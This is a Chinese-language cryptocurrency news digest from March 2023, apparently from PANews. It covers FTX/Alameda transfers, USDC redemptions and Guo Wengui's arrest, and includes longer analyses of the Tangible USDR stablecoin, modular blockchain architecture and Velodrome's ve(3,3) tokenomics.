    数据：Paradigm Capital今日将48179枚MKR转入Coinbase，约合3613万美元
    PANews 3月16日消息，据推特用户余烬监测，1小时前，Paradigm Capital（MetaDockTeam区块浏览器插件上标签显示）将48179枚MKR （约合3613万美元）转入了Coinbase。 Paradigm的这些MKR大都来源于Maker: MultiSig地址的转入，并从2019年持有至今。  ( 4 min )
    Alameda向FTX高管进行的转账及贷款高达32亿美元
    PANews 3月16日消息，据PR Newswire报道，FTX及其附属债务人向破产法院提交的财务报表显示，Alameda Research向FTX创始人及高管转账和贷款高达32亿美元，包括Sam Bankman-Fried（约22亿美元）、Nishad Singh（约5.87亿美元）、Gary Wang（约2.46亿美元）、Ryan Salame（约8700万美元）、John Samuel Trabucco（约2500万美元）、Caroline Ellison（约600万美元）。 这些金额不包括用于购买巴哈马豪宅的超2.4亿美元、FTX债务人直接提供的政治和慈善捐款，以及向巴哈马和其他司法管辖区的非债务人子公司的资产转移。 虽然用这些转账资产购买的部分财产已经在FTX债务人或与之合作的政府当局的控制下，但目前无法预测最终货币回收的金额和时间。FTX债务人正在调查针对这些转账的接收者及其后续受让人的转账原因。  ( 4 min )
    主打现实世界资产+稳定币概念，异军突起的Tangible和USDR或因不透明暗藏风险
    稳定币是区块链世界中绕不开的话题，算法稳定币成了Ponzi的代名词，而以往我们普遍认为安全的合规稳定币USDC也险些因为硅谷银行的倒闭而遭受损失。如何设计一种既有底层资产支撑，又能帮用户获得收益，且相对去中心化的稳定币，Tangible给出了一种思路。 Tangible主打“现实世界资产+稳定币”的概念，根据Defi Llama的数据，截至3月15日，它的TVL在过去一个月增长了15.7倍，是Polygon上近期增长最快的项目之一。在快速增长的同时，Tangible的核心数据并未做到公开透明，也暗藏风险。 USDR：以高息揽储，Velodrome和Thena上的贿赂大户 积极寻找流动性挖矿机会的DeFi用户可能会发现，近期Velodrome和Thena上出现了一种收益率极高的稳定币，wUSDR/USDC交易对在这两个DEX中的APR通常高达100%。根据这两个Fork自Solidly的DEX的机制，USDR的发行商Tangible要么持有大量的veToken以用于投票，要么每周支付贿赂，吸引veToken的持有者给自己投票。 Dune@0xkhmer整理的仪表板显示，wUSDR/USDC交易对目前是Optimism上的DEX Velodrome的最大贿赂者，超过了USDC/DOLA、SONNE/USDC等交易对。最近一周的贿赂金额约为9.3万美元，且每周的贿赂金额递增。贿赂的资金主要是稳定币USDC或USDR的封装版WUSDR，还有一部分为OP。 类似的情况也出现在了BNB链的Thena上，最近一周，wUSDR/USDC交易对在Thena上支付的贿赂金额为3.5万美元，贿赂金额同样在持续上升，且全部通过稳定币USDC支付。 这意味着Tangible在一周内支付了相当于其TVL（959万美元）1.3%的资金用于贿赂，以吸引流动性，如果支付贿赂的资金来源是铸造稳定币的储备金，这将是非常危险的。Tangible声称贿赂资金来源于项目收益，那么这是否可信，Tangible又有些什么业务呢？ Tangible中主要有两种产品TNFT（Tangible non-fungible token，Tangible非同质化代币）市场和稳定币USDR。 Tangible允许用户使用加密货币从供应商处购买商品，Tangible铸造TNFT发送给购买者，并将这个TNFT代表的实体物品存放在Tangible Custody处。TNFT的所有者可以转移、出售自己的资产，也可以兑换成实物。详细的流程如下所示。 TNFT对应的实体资产可以是艺术品、葡萄酒、古董、金条、金条、房地产等流动性并不是很好的商品。 另外，Tangible也提供碎片化服务（Tangible Fractions），TNFT的持有者可以指定价格出售持有的TNFT的一部分。如一款手表价值10万美元，TNFT的持有者可以4.2万美元的价格将手表40%的价值挂单出售。 Tangible Custody负责从供应商处采购实体商品，并铸造TNFT，TNFT的所有者就是资产的所有者。Tangible称Tangible Custody将每年进行一次审计，涵盖商品来源、供应链的完整性和资金流动等，确保实物信息和铸造的TNFT对等。虽然官方称审计已经在进行中，但截至3月15日，Tangible Custody并未发布过任何审计报告。 在以上系统的基础上，Tangible发行了一种稳定币Real USD（USDR），主要投资于通证化的房地产代币，并获得收益。从长期来看，房地产是持续升值的，投资的房地产会出租给租户，收益每天通过rebase的方式支付给USDR的持有人。 USDR通常通过DAI 1:1铸造，但也有少量份额可通过Tangible的原生代币TNGBL铸造。可通过TNGBL铸造的USDR数量 =（已铸造的USDR数量-已赎回的USDR）*10%。 铸造USDR的储备金中： 也就是可以有10%的USDR可以用TNGBL 1:1的铸造，其余部分以DAI 1:1铸造。大部分储备金投资于Tangible房地产NFT，协议拥有的流动性仅占10%-20%。Tangible预计投资于房地产的年化收益率为5.22%，现在为了进行激励，还有10%的TNGBL奖励，持有USDR的收益率即可达到15.22%。 由上可知，铸造USDR的储备金中，至少有60%的资金投向了房地产NFT或自身的TNGBL代币。Tangible持有少量DAI，以方便用户赎回，如果因为房地产或者TNGBL价格下跌，或者大户想要退出而没有流动性怎么办？Tangible持有的用于退出的流动性可能不够，但项目方早已为此想好了办法。 如果Tangible中剩余的DAI耗尽，想要将USDR赎回的用户会1:1的收到pDAI。pDAI代表了对DAI 1:1的索取权，如果房地产TNFT卖出，剩余资金将转回国库，让用户赎回。 如下图所示，Tangible官网数据显示，目前发行的USDR数量为782万，而协议拥有的总的资产为964万美元。项目中有182万美元的盈余，因此虽然每周支付大量稳定币用于贿赂以吸引流动性，Tangible也有理由说贿赂资金来源于利润。 即使除去持有的TNGBL，Tangible的储备金仍然超过100%。可以认为该数据表明Tangible持有的房产NFT的升值超过了支付的贿赂。 USDR的稳定币模式可以为稳定币设计提供一种思路，即底层持有能够生息的资产，稳定币的持有者可以获得收益，避免Circle这类中心化稳定币发行商自己获得资产收益又无法完全保障资金安全的情况。 但是Tangible并没有强有力的背书，所有实物资产和发行TNFT的权限都由Tangible Custody自行控制，在官方给出强有力的证据之前，通过该项目购买TNFT有很高的交易对手风险，保持对该项目的怀疑可能是更好的选择。 在USDR发行量只有782万的情况下，Tangible每周仅在Velodrome和Thena中支付的贿赂资金就约为12.8万美元。通过高额收益吸引用户用DAI 1:1地铸造USDR，这种情况可能是难以持续的。 同样因为中心化问题，Tangible也可以操控Tangible Custody发行的TNFT的价格，以实现“超额储备”。  ( 4 min )
    模块化区块链如何成为下一代Web3基础设施？
    原文：《模块化区块链:推动Web3生态进化的基础设施》 作者：Ray 比特币的诞生，标志着一种去中心化电子现金系统的到来，人们通过它认识到了区块链技术的概念和工作量证明的共识机制。随后，以太坊的出现，作为一个世界计算机和智能合约平台，其强大的可编程性在金融、社交和游戏等领域展现了广阔的前景。尽管十多年的发展历程中，区块链在普及程度和技术沉淀方面都处于起步阶段，但毫无疑问，其潜力依然是巨大无穷的。 通常情况下，我们现在所接触的公链都可以被统称为单体区块链。它们以每笔交易为载体，通过区块存储合法有效的交易记录，并通过特定的共识机制实现去中心化、无需信任、不可篡改的分布式账本网络。 单体区块链的特点是，它可以从钱包、应用、中间件到基础设施，全方位独立地建立完整的生态系统，并且各方之间维持紧密的关系，但是随着生态发展和繁荣，它又会出现交易阻塞，交易成本上升，网络参与门槛过高以及维护全网状态的成本增加等问题。当遇到高并发使用情况时，由于交易吞吐量的限制，单体区块链通常会变得昂贵且难以使用，用户体验也会受到很大影响。此外，随着区块链的不断增长，整个网络会出现状态爆炸，维护网络的门槛不仅提高，成本也不断增加。 为了解决单体区块链存在的问题，业内人士多年来，在扩容、状态修剪等方面都进行了广泛研究和探索，其中包括但不仅限于状态通道、侧链、Rollup、轻节点、分片、模块化等技术。这些技术的研究和开发，不断地优化区块链的技术栈，并且提高区块链技术的普及程度。 本质上，模块化区块链是通过聚合和组合的思想，重新定义和划分区块链的分层架构，并将其划分为不同的模块。这些模块互相独立，可以根据需求进行修改和扩展，并可以相互组合。这种组合而成的模块化区块链不仅可以提升各方面性能，还可以满足多样化的应用场景。 过去，站在单体区块链的架构进行思考，我们习惯对其的拆分结果为：承载去中心化应用的应用层，负责执行去中心化应用智能合约逻辑的执行层，处理交易有效性、交易顺序和区块构成的共识层，维护、存储交易和区块的数据层以及进行点对点广播通信的网络层。 对于模块化区块链的分层理解，极易以单体区块链的思维先入为主，由此会造成不少混淆。此时，可以从用户的视角通过正在运行的以太坊乐观Rollup的二层网络Arbitrum直观和深入的了解。通过Arbitrum白皮书关于二层网络交易流的阐述：可以知道，用户提交的交易不再直接与一层网络进行交互，转由二层网络的定序器进行收集和批量处理，定序器将批量处理的多笔交易原始数据压缩发送到一层网络，与此同时，也会对批量处理的交易进行排序，计算用户和网络状态转变，然后将状态结果发送到一层网络进行结算。 二层网络的定序器对交易进行收集和批量处理（执行层） 至于结算的交易Arbitrum的区块浏览器并没有做很好的一一对联，此处我们直接通Arbitrum官网部署在以太坊的智能合约入手，分析Delayed Inbox合约涉及到结算相关的函数：sendL1FundedContractTransaction，当结算出现分歧的时候调用；当结算没有分歧的时候调用Outbox合约的updateSendRoot。相关合约地址请查阅：https://developer.arbitrum.io/useful-addresses。 现在，我们对于执行层、数据可用层、共识层和结算层各自的功能和作用有了明确直观的认识。执行层是定序器对于交易的批量处理、包括原始交易数据压缩和状态的转变计算。结算层负责确认状态转变的最终性。数据可用层是一层网络对于执行层收集压缩的交易数据的存储和维护。至于共识层，保障的是执行层在数据可用层和结算层方面依赖的安全性。 按照从上而下的定义，模块化区块链的层次结构如下图： 由于结算层涉及到不同执行层的交易有效性证明设计，例如乐观欺诈证明和零知识证明，为此，我们暂不做进一步的理解。下面，我们将直接了解模块化区块链常说的执行层、数据可用层、共识层这三个模块，着重在它们发展的背景，解决的问题，以及它们当前的发展情况和面临的挑战。 在没有真正提出执行层产品之前，我们经常听到一个词：以太坊杀手。这说明区块链用户对于交易吞吐量、交易速度和交易成本等方面的性能需求和以太坊提供的现状存在明显的不匹配情况。为此，不少新公链尝试从单体区块链本身的交易结构、区块设计、共识机制和网络广播机制进行探索和研究，构造全新的高性能公链，去实现海量交易吞吐量、快速交易速度和便宜的交易成本。与此同时，以太坊的生态对于各种各样的技术和产品方案都进行探索研发。时至今日，以Rollup为主体方案Layer2路线占据主导地位，其中欺诈证明的乐观Rollup的Optimism和Arbitrum不管在项目构建、用户吸引和留存都陆续超越其他EVM兼容的新公链，此外，以零知识证明为主的ZKRollup（Starknet、Hermez、zkSync、Scroll、Taiko等）、以并行交易为主的Fuel，AltLayer、Smooth等也在各自的方案领域继续前进。 随着Rollup等Layer2的茁壮发展，泛指这些Rollup和并行交易产品的执行层概念正式提出。当然，不仅是以太坊，抑或是在优化了TPS和交易成本的Solana、BNBChain、Cosmos、Aptos等公链，各自的官方或社区都提出自己的Rollup和执行层产品。由此，我们不仅进入多链并存的时代，也进入多类执行层并存的场景。这也为开发者、用户和生态带来不一样的问题：各自的执行层产品独立封闭，生态难以共享，用户在彼此之间操作成本繁重，开发者构建和运营时间周期和成本昂贵。为此，以Rollup作为服务的产品同样面世。例如Sovereigen Labs，Stackr Labs，Eclipse Builders，Dymension等。这些产品类比于执行层的Hub，将原本定位于二层网络的Rollup转变为Layer3，由此构造单Hub多Rollup的树枝型执行层。 由于扩容场景的历史需求，执行层的产品探索和研发多年，各自的方案在这么多年都有获得重大突破。在未来的周期里，执行层的产品依然有不少尚未解决正在探索的问题：如去中心化定序器、zkEVM和并行交易等。 大数据时代和云时代的到来，作为现代社会基础资源的数据，可以在各种决策场景提供帮忙和支撑，其战略地位如同过去的石油一般。当我们提到区块链的数据时，通常指的是链上存储的各种交易数据和智能合约数据。这些数据存储方式和传统的数据库有所不同，从某种角度而言，区块链的数据存储方式是分布式的，即每个节点都要存储一份完整的数据副本。当下，随着链上用户交易数据的活跃以及智能合约的繁荣，区块链数据在线性增长的基础上面，出现指数级增加的迹象。比特币网络从2016年55G的全网大小，一直按照每年50G增长，但是在2020年开始，其网络大小的年增长量开始跃迁为60G，截至当下2023年2月，全网数据大小是459G。 https://www.blockchain.com/explorer/charts/blocks-size 作为世界计算机和智能合约平台，以太坊的全网数据远比聚焦在支付领域的比特币要大得多。通过Etherscan可以看到，现在成为以太坊默认全节点至少需要800多G空间，成为以太坊Archive全节点至少需要13000G存储空间。 不仅整体的数据量庞大，并且大部分数据都是以非格式化的形式存储的，由此造成区块链数据的处理、索引和查询难度极大。为此，站在单体区块链的角度思考，如何高效地、廉价地存储、快捷地处理和支持海量访问区块链数据成为极其重要的研究方向。 早在比特币白皮书提出之时，中本聪对于网络的状态爆炸做了预先的解决方案：分别是Reclaiming Disk Space和Simple Payment Verification（SPV）。Reclaiming Disk Space是允许节点对于耗费的历史数据进行修剪从而降低全网数据大小，此方案在一定程度可以降低维护成本和参与门槛，但是由于全网数据体量的庞大，以及账户模型的单体区块链，例如以太坊，维护的数据维度和UTXO模型不一样，直接适用程度会比较有限，但基于Reclaiming Disk Space的思路，以太坊社区延申和追求的方案是将账户状态从区块链分离出去的Stateless Ethereum方案，。SPV主要是提倡轻节点Merkle树验证区块链交易数据的方案，在实现网络的低参与门槛之外，保证交易数据的有效性。由于SPV的轻节点单纯下载区块头信息进行验证，所以可能会收到欺诈性证明攻击。为此，现在Celestia的联创Mustafa Al-Bassam、Mysten Labs的Alberto Sonnino和Vitalik曾在2018年发表《Fraud and Data Availability Proofs:Maximising Light Client Security and Scaling Blockchains with DishonestMajorities》提出欺诈性证明攻击的解决方案，在此，单体区块链的数据可用性可以被理解为轻节点在不完全同步区块数据的前提之下，仅通过交易Merkle树对于交易数据的有效性验证。 对于模块化区块链的执行层而言，单体区块链的数据转变成为链上数据，执行层的交易数据通过压缩存储成为链上数据其上的链下数据。链上数据对于链上数据不仅有常规的存储查询等性能和成本的直接要求，还会依赖链上数据伴随的共识机制进行安全性保证。如此，正是执行层产品的发展，丰富了单体区块链的数据可用性，并扩展了数据可用层概念对应的上下文。 在继续往下之前，我们必须明白，数据可用层和数据存储层是不能混淆的概念。数据可用层强调的是可用性，是以数据的有效性角度进行思考。数据存储层更多是站在计算机存储器的角度去定义数据的存储和使用性能，更多的关注是链上存储的成本费用、读写效率等。数据可用性必然是基于数据存储层延展出来的概念，此处延展的正是共识机制带来的可用性。换一种说法，Don’t Trust，Verify，此处的Verify对应的即是数据可用性。 以太坊，作为现在执行层产品首选的数据可用层，由于其自身的Gas模型和Calldata结构，存在以下明显的缺点：1，数据的操作和存储成本高；2，数据的存储容量有限；3，网络资源分配不均。为此，以太坊通过EIP-4844的Proto-Danksharding、Data AvailabilitySampling（DAS）、Erasure Coding和Proposer/Builder Separation等提出自身的数据分片和状态扩容方案。未来，以太坊将引入新的Blob交易类型和额外数据层，在保证数据可用性的前提之下，降低当前链上的动态存储成本。至于其他专门的DA产品，不仅在数据可用采样性、Erasure Coding等技术方案探索，也增加各自对于数据可用性领域的研究突破，例如Polygon Avail的Fast Sync技术和Celestia的主权性和互操作性。除了数据可用层的产品，在现有数据存储层方面，我们也可以看到有BNB生态新推出的存储侧链Greenfield，以及Kvye和Arweave等组合类产品。 Not your keys, not your crypto。在区块链网络，秘钥代表着数字资产的所有权。为了确保秘钥与数字资产对应的所有权，区块链网络必须实现强大的共识机制，以保证足够的去中心化程度和安全性。共识机制保障的是符合单体区块链交易格式的数据，例如比特币保障的是其上的交易以及交易内置的脚本逻辑，以太坊保障的是EVM可以执行和验证的交易。不仅如此，由于区块链世界存在两类具有明显差异的共识机制（PoW和PoS），不同单体区块链之间的不同共识，是难以进行互操作结合和使用的。另外，即使是原生支持多链互操作性的单体区块链，例如Cosmos和Polkadot，尽管已经在交易格式，抑或是共识机制方面可以实现兼容，但仍然存在共识机制难以共享使用的情况。 进入共识层产品之前，让我们先了解和熟悉PoW和PoS的发展和当下状况。 PoW可以粗略地理解为用物理世界的算力保证区块链网络的安全，其面临的最常见攻击是51%算力攻击和双花攻击，因此，只有网络的算力足够庞大，网络的安全性才可以得以保障。很多新型的PoW公链，在冷启动阶段，由于早期算力的不够，网络很容易遇到安全问题。为此它们要么通过长时间高成本的算力积累，要么考虑借助比特币等传统PoW网络的挖矿算力采用同样的PoW算法进行联合挖矿。由于区块链的算力本质是随着区块高度的增加而逐渐增加的，联合挖矿/合并挖矿是通过加密经济激励机制租用算力，当两条公链利益重合匹配的时候，联合挖矿/合并挖矿对于矿工而言是有吸引力的，但是，当新PoW公链和比特币网络利益出现冲突的时候，由于比特币网络并没有办法在协议层面制裁矿工，所以，矿工一般会采取不利于其他新PoW公链的行为。例如，在很早以前Namecoin就通过和比特币网络的算力进行联合挖矿，由于联合挖矿方案在某些场景会造成两个网络的利益不匹配，所以造成了Namecoin的潜在风险。对于实现了智能合约功能的比特网侧链RSK而言，尽管RSK在与比特币网络的利益层面做了优化，但是其自身的迭代开发都受限于比特网的非图灵完备性，故而在联合挖矿方面的突破是有限的。另外，对于Quai Network此类从设计之初，原生地提出多链联合PoW，在算力层面进行抱团取暖。即便如此，Quai Network也仅仅是将共识的冷启动成本进行均摊而已，也无法做到PoW共识机制的复用和组合。 PoS共识机制的核心是利用权益保护网络，权益的价值将决定网络的总体价值，只有足够高价值的权益才能保障高价值的网络。现在流行的PoS机制是基于PBFT改良的，本质依然是权益的证明。常见的PoS网络有知名的Cosmos和Polkadot。秉承着最小化信任的机制，Cosmos作为Hub，是不会主动干预生态应用链的共识机制。Cosmos生态的应用链可以复用整个生态完善的开发栈，但是，在维护对应应用链网络的时候，网络验证者集的成立和维护是需要极高的门槛和成本，这也是信任和安全的成本。不少应用链一般会用空投吸引Cosmos验证者，提供高额的通胀奖励鼓励验证者进行质押保护网络。为减少共识机制的建立成本和提高应用链的安全，Cosmos 2.0提出各种改进方案，例如，可以借用Cosmos为应用链进行安全共享ICS，可以为应用链进行共识共享的Space Mesh等。除此之外，Cosmos生态的Babylon也尝试将比特币网络的PoW共识安全引入Cosmos生态用于保障应用链的安全。对于波卡而言，我们都知道其结合了极强的链上治理模型和前沿的共识理念。可以这么理解，波卡通过平行链卡槽拍卖的机制，直接将共识机制的保障边界扩展到其他链的交易。不可否认，这些机制在复用共识方面，是具有超前的理念，然后由于链上治理的效率和共识的强需求存在不匹配，由此造成波卡平行链的淡出视野。 现在，让我们回到合并之后PoS共识机制的以太坊。以太坊是极佳的共识层产品资源，多年的PoW沉淀发展促使以太坊积累高额的价值，探索和迭代多年的PoS机制，配上以太坊完善的智能合约平台，以及蓬勃发展的以太坊执行层产品，促使将PoS以太坊作为新一代共识层产品的前提条件已经成熟。我们可以在现有以太坊质押的逻辑基础上面，通过设计合理有效的激励和惩罚机制，复用质押的以太坊，将此部分的以太坊保护其他类型的网络，例如预言机网络、跨链桥网络等。这其中，EigenLayer在此赛道进行了多年的研究，其最近也发布对应的白皮书，正式提出Restaking的概念，并从slashing机制描述自身网络的功能和设计。除此之外，近期火热的以太坊流动性质押衍生品赛道产品，本质上面拥有大量质押的以太坊，一旦出现合适的共识层产品，流动性质押衍生品赛道的产品都将可以无缝地作为共识提供者参与进来。 现代软件开发流行面向服务的微服务架构，通过将应用程序拆分成为功能和特性独立的服务，让每个服务自主地开发、部署和运行，各个服务之间通过通信和数据共享的方式进行灵活组合，以此实现更高的扩展性、灵活性和可维护性。微服务架构的发展正在逐步成熟和完善，尽管在实践中还存在一些挑战和问题，如分布式事务、服务治理、安全性等方面，但随着技术的进一步成熟和经验的积累，这些问题都逐渐得到解决。 模块化区块链，和微服务架构有不少相似之处，随着区块链的不断发展，也将会成为区块链技术的重要方向。当前，执行层产品，正不断承担更多交易计算的职能，在用户数据、交易数据等各项指标都取得卓越的效果，数据可用层和共识层在各自的方案领域不断前行，结算层的功能有待开发，各自之间潜在的灵活组合将会带来更多无限的潜力。未来，我们有理由相信，模块化区块链将会带来更多创新和机遇，为推动区块链技术的应用和发展做出重要贡献。 资料 https://developer.offchainlabs.com/docs/home https://community.optimism.io/ https://starkware.co/starknet/ https://zksync.io/dev/ https://scroll.io/ https://taiko.xyz/ https://www.paradigm.xyz/2022/08/dasData Availability Sampling: From Basics to Open Problems https://arxiv.org/abs/1809.09044Fraud and Data Availability Proofs: Maximising Light Client Security andScaling Blockchains with Dishonest Majorities https://ethereum.org/en/developers/docs/data-availability/ https://ethresear.ch/t/the-stateless-client-concept/172/13 https://notes.ethereum.org/@vbuterin/proto_danksharding_faq  ( 5 min )
    Cathie Wood：加密货币不应作为传统银行业监管失误的替罪羊
    PANews 3月16日消息，Ark Invest首席执行官Cathie Wood今日在推特上表示：“我认为监管机构正在使用加密货币作为他们自己在传统银行业监管失误的替罪羊。加密与银行的投资决策无关，也与美联储在不到一年内将利率提高19倍的决定无关。美联储错误地认为它正在与70年代式的通货膨胀作斗争，从而使许多地区性银行因未实现的损失而陷入困境。加密并没有迫使硅谷银行和Signature破产，美联储的政策是罪魁祸首。由于风险投资资金短缺和货币市场基金收益率较高，存款离开了美国银行系统。在去中心化、透明、可审计和过度抵押的加密资产生态系统中，这种崩溃是不可能发生的。事实上，在上周，加密资产表现得像避风港：它们的价格与黄金一起上涨。在我们看来，加密是解决传统金融系统中的中心故障点、不透明性和监管错误的解决方案。成为政策错误的替罪羊，加密货币将转移到海外，使美国失去历史上最重要的创新之一。” 此前昨日消息，Cathie Wood表示，监管机构应关注银行系统，而非封锁运转良好的去中心化金融平台。  ( 4 min )
    Circle：已基本清除所有积压的USDC铸造和赎回请求
    PANews 3月16日消息，USDC稳定币发行商Circle在博客文章中表示：“截至3月15日美国银行业务结束，我们已经基本上清除了所有积压的USDC铸造和赎回请求。自周一上午以来，Circle已经赎回了38亿美元USDC，并发行了8亿美元USDC。Circle一直不懈地努力与其他银行合作伙伴重新启动服务，特别是支付和USDC赎回服务。3月14日(周二)，我们与一家新的交易银行合作伙伴开通了美国国内汇款业务。我们预计明天将恢复更多功能。我们将继续努力增加更多的交易银行合作伙伴。”  ( 4 min )
    富达的加密投资产品Fidelity Crypto已向所有用户开放
    PANews 3月16日消息，据The Block报道，富达数字资产（Fidelity digital Assets）近日已悄然为大众开放了对其加密投资产品Fidelity Crypto的访问。数百万用户现在可以在该平台上免佣金交易比特币和以太坊。知情人士透露，Fidelity Crypto的全面开放是在过去几周内进行的。 该应用程序之前仅限于等候名单。目前新用户客户必须在设置过程中创建富达经纪账户才可使用。  ( 4 min )
    Coinbase CEO：因美国监管环境落后于其他金融中心，将相应调整投资
    PANews 3月16日消息，针对“Coinbase为新加坡用户免费开放本地银行转账服务”，Coinbase首席执行官Brian Armstrong在推特上表示：“在为加密货币创建明确的监管手册方面，美国监管环境落后于其他主要金融中心（英国、新加坡、中国香港等）。我们将相应地调整我们的投资。”  ( 4 min )
    BAYC：“猴子吉米试炼”新篇章“召唤”已开启
    PANews 3月16日消息，Bored Ape Yacht Club （BAYC）在推特上表示：“召唤(The Summoning)”已正式开启，对所有符合条件的下水道通行证Sewer Pass持有者开放。“召唤”是猴子吉米试炼中的下一个重大事件，允许销毁下水道通行证已召唤能量源（Power Sources），但目前BAYC尚未公布如何使用Power Sources，仅透露将基于Dookey Dash排名有八种不同类型的Power Sources。 此外BAYC还表示用户可以不急于铸造Power Sources，因为召唤将无限期开放，目前有大约3500枚下水道通行证Sewer Pass NFT从未被认领，789个被认领但不符合召唤资格。  ( 4 min )
    “红通”逃犯郭文贵及其团伙在美国纽约被捕，涉嫌含加密货币的10亿美元诈骗罪
    PANews 3月16日消息，据The Block报道，美国司法部周三表示，“红通”逃犯郭文贵（Miles Guo）在纽约被捕，罪名是涉及加密货币的10亿美元诈骗阴谋。美国检察官达Damian Williams在一份声明中说，拥有多个名字的郭文贵欺骗了数千名在线粉丝，并为自己和身边的人买了“一座50,000平方英尺的豪宅、一辆价值350万美元的法拉利，甚至还有两张价值36,000美元的床垫”。纽约南区美国检察官办公室称，Kin Ming Je(又名William Je)和郭文贵“欺诈诱导”粉丝资助一个名为G|CLUBS的在线会员俱乐部。 美国司法部表示，郭文贵和Kin Ming Je还通过所谓的喜马拉雅交易所（Himalaya Exchange）“骗取”了超过2.62亿美元，这是一个加密“生态系统”，称其拥有一种名为“ Himalaya Dollar”的稳定币和一种名为“Himalaya Coin”的交易币。郭文贵和Kin Ming Je共面临11项指控，面临数十年的监禁。Kin Ming Je仍在逃。 美国证券交易委员会（SEC）周三也对这两人提出了指控，称他们通过“未注册和欺诈性发行”筹集了超过8.5亿美元。美国证券交易委员会表示，郭文贵被指控仅通过Himalaya Coin和相关稳定币筹集了数亿美元。美国证交会表示:“郭文贵涉嫌对H-Coin的潜在投资者做出重大虚假陈述，谎称H-Coin 20%的价值由黄金支持，并谎称他将亲自赔偿投资者的任何潜在损失。”SEC表示，H-Coins是未注册证券。  ( 4 min )
    项目研报丨Velodrome：利用ve(3,3)机制，在Optimism上打造“流动性飞轮”
    本文数据均截止 2023/3/8 Velodrome Finance 是一个建立在 Optimism 上的原生 DEX，Optimism 是以太坊 L2 扩容方案。Velodrome 目的是为了打造一个提供深度流动性、低交易费和低滑点的交易平台，从而促进 Optimism 生态系统发展。其启动时间为 2022 年 6 月 2 日。 Velodrome 通过发行其原生代币 VELO，以及对 veVELO（veNFT）的分配，来奖励流动性（LPs）和积极参与治理的用户。LPs 将获得 VELO 代币作为奖励，而参与治理的用户可通过锁定 VELO(veVELO)进行提案和投票，以决定哪些代币对的 LPs 能获得 VELO 代币奖励。作为回报，投票者可获得期间所收集的交易费和贿赂。（相关阅读：《Velodrome的TVL炼金术：ve(3,3)机制、veVELO分布与贿赂情况》） 项目解读 Velodrome 背景 Velodrome Finance 的创始人是一位名为 Lasse Clausen 的德国工程师和企业家。同时，Velodrome 的开发团队成员包括来自 Optimism、ConsenSys、以及其他区块链技术公司的专业人士。之前他们推出了 veDAO，旨在与 Solidly 生态系统互动，并为 veDAO 社区创造长期价值。他们对 Solidly、veNFT 原始协议和 ve(3,3)机制方面有着专业和深刻的了解，并使 Velodrome 成为寻求相关支持的首选资源。 Velodrome 的 TVL 在短时间内迅速增长，成为 Optimism 中 TVL 最大 dex 协议，占比达到 34%。截至 2023 年 3 月 8 日已经达到了 3.11 亿美元，增长速度超过了 Optimism 上的 Aave、Curve、UniSwap 等其他 DeFi 项目。 Velodrome 收益方式 Velodrome 有 4 种方式获取收益： 通过 LP 质押获得可持续奖励； 成为 veVELO 持有人，通过投票，可分享协议产生的交易费用； Velodrome 有内置的贿赂功能，旨在通过贿赂投票者以激励流动性。贿赂奖励按比例分配给投票者，投票者可在快照后的 24-48 小时内领取奖励。 为了防止因 veVELO 的增发，投票权被稀释，引入了 rebase 奖励机制，veVELO 持有人将额外获得 veVELO 奖励。 拥有 0.1%以上的 veVELO 持有人可以创建提案，让某些代币列入白名单的，进入白名单的代币可在流动池中使用。其他 veVELO 持有人则可以通过投票批准或者否决提案。如果没有达到规定的议案数，则默认通过；如果获得批准，代币则列入白名单。Voledrome 白名单的使用，保护了流动池的资金价值，降低了不可逆的风险。 最初由 Velodrome 团队和 Optimism 社区的 7 名成员组成，可投票否决白名单中的代币。 Velodrome涉及的代币种类： VELO：Velodrome 协议的原生代币； veVELO：锁定 VELO 可获得，符合 ERC-721 标准（也称为 veNFT）； WeVE：veDAO 治理代币。 这里主讲 VELO 代币，合约地址（OP）：0x3c8b650257cfb5f272f799f5e2b4e65093a11a05 当前价格：$0.12 当前市值：$21,984,101 24 小时交易量：$8,209,869 完全稀释市值：$105,059,454 流通量：183,974,958 总供应量：879,194,847 最大供应量：879,194,84 社区：60%（2.4 亿） 协议伙伴/DAOs（作为锁定的 veNFTs 去分配）：24%（9600 万） Velodrome 团队：10%（4000 万） Optimism 团队：5%（2000 万） Genesis Pool（创世池）：1%（400 万） 社区的 60%主要用作空投，包括： 排放规则（释放规则） - ve(3,3)代币模型 VELO 代币的初始供应量为 4 亿，每周 LP 的排放量从 15M 开始（3.75%初始供应量），每周会减少 1%。每周 veVELO 的增发部分（Rebase）会按公式重新校准，从而减少投票权被稀释的程度，veVELO 的供应量不会影响每周的 LP 排放量。 每周重新校准公式为： Rebase = (veVELO.totalSupply ÷ VELO.totalsupply)³ × 0.5 × 排放量 VELO 最长被锁定 4 年，遵循以下的线性关系： 锁定 4 年，100 个 VELO = 100 个 veVELO 锁定 1 年，100 个 VELO = 25 个 veVELO 目前有 1 周，1 月，1 年，4 年的锁仓选择。 皆以 veNFT 形式保存，锁定的时间越长，获得的 veVELO 数量就越多。 Solidly 在发布前进行了快照，根据 Defillama 上的 TVL，将 veToken 分配给 Fantom 上排名前 20 的协议，由于在最初的 8 周内增发过快，导致了项目陷入激励不足的困境。虽然这种情况，对初期的用户很有利，但是对整个项目的长期发展是个大坑。 在 Solidly 中，veToken 的持有者在增发中可以得到 100%的稀释保护，这意味着他们的代币不会被过度稀释，然而，当期增发量与锁定量呈反比，即锁定量越高，增发量越少。由于大部分的增发奖励都会流向 veToken 持有者，让流动性提供者那边得到的奖励大大减少，导致对新流动性吸引力不足。 Solidly 在锁定代币后会得到一个 NFT，账户中可以拥有多个 NFT，总数为 veNFT 余额，这种 NFT 化的方式为项目提供更多创新的可能性。但是，Solidly 并无在这基础上进行迭代。 投资者利用 Solidly 的增发机制的漏洞，以完全自有的交易对创建池子，获取增发奖励。 针对 Solidly 存在的问题，Velodrome 进行了如下的改进： 投票奖励（即贿赂）与排放量挂钩 在 Solidly 中，投票奖励可以在投票排放之前领取。 Velodrome 通过引入新的机制，限制每个选民每个时期只能做一个“有效”投票决策，并对内部（来自费用）和外部贿赂进行不同的处理，外部贿赂每个时期只能奖励一次，并且只能在下一个时期开始后领取。 在 Solidly 中，存在利用漏洞将发行量导向无效资金池的投票者。Velodrome 通过三种方式解决了这个问题： 添加一个管理机制来识别交易对，有效的交易对则进入白名单，白名单中的交易对则可用于池子； 添加一个紧急的“Commissaire”,可以在生态系统中终止无效的池子； 将初始交易费率从 0.01%提高到 0.02%，确保激励投票者将排放量引导到有效的流动性中。 Solidly 中，协议的排放量衰减太快，导致后期参与者的激励太小。Velodrome 进行了一些微小的调整，包括修改排放量增长函数，取消负面投票（不能投反对票），停止对投票者 LP 排放量的提升，以及调整初始分配成更亲近散户的方式，确保对协议未来的吸引力。 